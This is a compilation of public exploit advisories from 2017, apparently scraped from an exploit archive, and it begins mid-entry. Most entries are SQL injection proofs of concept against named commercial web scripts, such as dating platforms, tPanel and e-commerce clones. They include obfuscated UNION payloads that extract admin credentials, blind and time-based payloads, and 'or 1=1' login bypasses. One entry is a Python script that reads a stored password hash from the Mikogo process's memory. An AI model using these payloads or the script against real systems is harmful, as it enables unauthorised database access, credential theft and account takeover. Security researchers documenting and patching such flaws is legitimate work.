#     Payload: id=2271 AND (SELECT 9357 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(9357=9357,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: stacked queries
#     Title: MySQL > 5.0.11 stacked queries (comment)
#     Payload: id=2271;SELECT SLEEP(5)#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: id=2271 OR SLEEP(5)
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: SoftDatepro Dating Social Network 1.3 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/softdatepro-build-your-own-dating-social-network/3650044
# Demo: http://demo.softdatepro.com/
# Version: 1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15972
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: tPanel 2009 - Authentication Bypass 
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.datacomponents.net/
# Software Link: http://www.datacomponents.net/products/hosting/tpanel/
# Demo: http://demo.datacomponents.net/tpanel/
# Version: 2009
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15974
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 
# http://localhost/[PATH]/login.php
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ZeeBuddy 2x - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.zeescripts.com/
# Software Link: http://www.zeebuddy.com/
# Demo: http://www.zeebuddy.com/demo/
# Version: 2x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/editadgroup.php?groupid=[SQL]
# 
# -1++/*!00009UNION*/+/*!00009SELECT*/+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,(SELECT+GROUP_CONCAT(0x557365726e616d653a,name,0x3c62723e,0x50617373776f72643a,pwd+SEPARATOR+0x3c62723e)+FROM+admin)--+-
# 
# Parameter: groupid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: groupid=1 AND 3188=3188
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: groupid=1 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 9 columns
#     Payload: groupid=1 UNION ALL SELECT CONCAT(0x71707a7071,0x754642515970647855775a494a486368477a6e45755355495050634270466969495966676b78536c,0x7162767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oMUM
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://vastal.com/
# Software http://vastal.com/dating-zone-the-dating-software.html
# Demo: http://datingzone.vastal.com/demo/
# Version: 0.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15975
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/add_to_cart.php?product_id=[SQL]
# 
# Parameter: product_id (GET)
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: product_id=3 AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5917=5917,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: product_id=3 AND SLEEP(5)
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Same Sex Dating Software Pro 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/same-date-pro-same-sex-dating-software/4530959
# Demo: http://www.ss.softdatepro.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15971
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: PHP CityPortal 2.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpcityportal.com/
# Software Link: http://www.phpcityportal.com/index.php
# Demo: http://phpcityportal.com/demo
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15970
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# Parameter: cat (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
#     Payload: cat=1' OR NOT 6616=6616#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: cat=1' OR SLEEP(5)-- cCQQ
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: PG All Share Video 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.pilotgroup.net/
# Software Link: http://www.allsharevideo.com/features.php
# Demo: http://demo.allsharevideo.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15969
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/search/tag/[SQL]
# http://localhost/[PATH]/friends/index/1[SQL]
# http://localhost/[PATH]/users/profile/1[SQL]
# http://localhost/[PATH]/video_catalog/category/1[SQL]
# 
# 'ANd(/*!06666seleCt+*/1/*!06666frOm*/(/*!06666seleCt*/%20COunt(*),/*!06666COnCAt*/((seleCt(seleCt+COnCAt(CAst(dAtAbAse()As%20ChAr),0x7e,0x496873616E53656e63616e))%20frOm%20infOrmAtiOn_sChemA.tAbles%20where%20tAble_sChemA=dAtAbAse()%20limit%200,1),flOOr(rAnd(0)*2))x%20frOm%20infOrmAtiOn_sChemA.tAbles%20grOup%20by%20x)A)%20AnD%20''='
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' AND 2686=2686 AND 'UsmZ'='UsmZ
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' AND (SELECT 4572 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(4572=4572,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iudq'='iudq
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' AND SLEEP(5) AND 'iczN'='iczN
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/search/tag/VerAyari' UNION ALL SELECT NULL,NULL,CONCAT(0x71717a6a71,0x4b6e4a524653614e47727a4f4464575253424c4d6c544f6b6a78454e4a756c75794d6a7765697269,0x716b627871)-- mAFc
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/channels/category/7' AND 4239=4239 AND 'oXBo'='oXBo
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/channels/category/7' AND (SELECT 4458 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(4458=4458,1))),0x7176787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'JBxT'='JBxT
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/channels/category/7' UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71,0x574355636a666d516c4d437a78696a5a6243555a46486f494a45455a6c49574e577765704a496367,0x7176787071)-- kJpu
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: http://localhost/[PATH]/friends/index/11' RLIKE (SELECT (CASE WHEN (2135=2135) THEN 11 ELSE 0x28 END))-- SVFb
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/friends/index/11' AND (SELECT 1564 FROM(SELECT COUNT(*),CONCAT(0x7170786a71,(SELECT (ELT(1564=1564,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DoZE
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: http://localhost/[PATH]/friends/index/11' OR SLEEP(5)-- Maum
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/users/profile/1' AND 3612=3612 AND 'wNwI'='wNwI
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/users/profile/1' AND (SELECT 3555 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT (ELT(3555=3555,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'XrEj'='XrEj
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: http://localhost/[PATH]/users/profile/1' AND SLEEP(5) AND 'XZVf'='XZVf
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/users/profile/1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a767671,0x7a7a646e536849756f717771546e4547497549465459754f65636946535375667577596755616876,0x717a7a7a71)-- UaUA
# 
# Parameter: #1* (URI)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: http://localhost/[PATH]/video_catalog/category/1' AND 4550=4550 AND 'SAmI'='SAmI
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/video_catalog/category/1' AND (SELECT 4089 FROM(SELECT COUNT(*),CONCAT(0x716a6a7171,(SELECT (ELT(4089=4089,1))),0x716b786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PTze'='PTze
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: http://localhost/[PATH]/video_catalog/category/1' AND SLEEP(5) AND 'ptLy'='ptLy
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 3 columns
#     Payload: http://localhost/[PATH]/video_catalog/category/1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a7171,0x4c5a694b4948566c59527663484b7a466c76725746684863506159646973414749617966634d5145,0x716b786a71)-- zDQK
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: MyBuilder Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.contractorscripts.com/
# Software Link: http://order.contractorscripts.com/
# Demo: http://demo.contractorscripts.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15968
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL]
# 
# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Parameter: subcategory (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: subcategory=1' OR SLEEP(5)-- RvzR
# 	
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.vote-pro.com/
# Software Link: http://www.mailing-manager.com/demo.html
# Demo: http://www.mailing-manager.com/demo-gold/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15967
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL]
# 
# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+-
# 
# http://localhost/[PATH]/admin/template/?edit=[SQL]
# 
# Etc..
# # # # #
HireHackking 
#!/usr/bin/env python
#
#
# Mikogo 5.4.1.160608 Local Credentials Disclosure
#
#
# Vendor: Snapview GmbH
# Product web page: https://www.mikogo.com
# Affected version: 5.4.1.160608
#
# Summary: Mikogo is a desktop sharing software application for
# web conferencing and remote support, and is provided by the online
# collaboration provider, BeamYourScreen GmbH. Mikogo provides
# its software as native downloads for Windows, Mac OS X, Linux,
# iOS and Android.
#
# Desc: Mikogo is vulnerable to local credentials disclosure, the
# supplied password is stored as a MD5 hash format in memory process.
# A potential attacker could reveal the supplied password hash and
# re-use it or store it via the configuration file in order to gain
# access to the account.
#
# ------------------------------------------------------------------
#
# 0:017> s -a 0 L?80000000 "password="
# 0125cdad  70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67  password=..&lang
# 0146e6b8  70 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61  password=...doma
# 06a422b3  70 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34  password=482C811
# 0:017> da 06a422b3
# 06a422b3  "password=482C811DA5D5B4BC6D497FF"
# 06a422d3  "A98491E38...."
#
# ...
# ...
#
# C:\Users\Charlie\Desktop>python mikogo_mem.py
# [~] Searching for pid by process name 'Mikogo-host.exe'..
# [+] Found process with pid #1116
# [~] Trying to read memory for pid #1116
# [+] Credentials found!
# ----------------------------------------
# [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38
#
# ------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5439
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php
#
#
# 03.07.2017
#
#
# Based on Yakir Wizman's PoC:
#


import time
import urllib
from winappdbg import Debug, Process

username    = ''
password    = ''
found       = 0
filename    = "Mikogo-host.exe"
process_pid = 0
memory_dump = []
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
         
        process = Process(process_pid)
        for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'):
            memory_dump.append(process.read(address,42))
        for i in range(len(memory_dump)):
            password = memory_dump[i].split('password=')[1]
            if password !='':
                found = 1
                print "[+] Credentials found!\r\n----------------------------------------"
                print "[+] MD5 Password: %s" % password
        if found == 0:
            print "[-] Credentials not found! Make sure the client is connected."
    else:
        print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
finally:
    debug.stop()
HireHackking 
# Exploit Title: FS Car Rental Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/car-rental-script/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a versatile script to help you to launch a car rental website.

Technical Details & Description:
================================

SQL injection on [pickup_location] post parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/vehicle/

Parameter: pickup_location (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickup_location=7 AND 8531=8531&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pickup_location=7 AND (SELECT 7390 FROM(SELECT COUNT(*),CONCAT(0x7178787671,(SELECT (ELT(7390=7390,1))),0x71766a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickup_location=7 AND SLEEP(5)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Amazon Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/amazon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Frontrunner in the field of all the multi-vendor scripts.

Technical Details & Description:
================================

SQL injection on [category_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

Parameter: category_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: category_id=1 AND SLEEP(5)&sub_category_id=1&search=xxxxx

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: category_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7071,0x714e746578554b6b4b4274697974755366576555457a6c6c576269474c7877744347466d6647695a,0x7176767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JpGm&sub_category_id=1&search=xxxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
HireHackking 
# Exploit Title: FS Ebay Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/ebay-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is indeed the best standard auction product pre-integrated with a robust multi-vendor interface and a powerful CMS panel. 

Technical Details & Description:
================================

SQL injection on [pd_maincat_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/advance-search-result.php?keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

Parameter: pd_maincat_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=any&pd_maincat_id=1' AND SLEEP(5) AND 'aHHy'='aHHy&submit=Search

==================
8bitsec - [https://twitter.com/_8bitsec]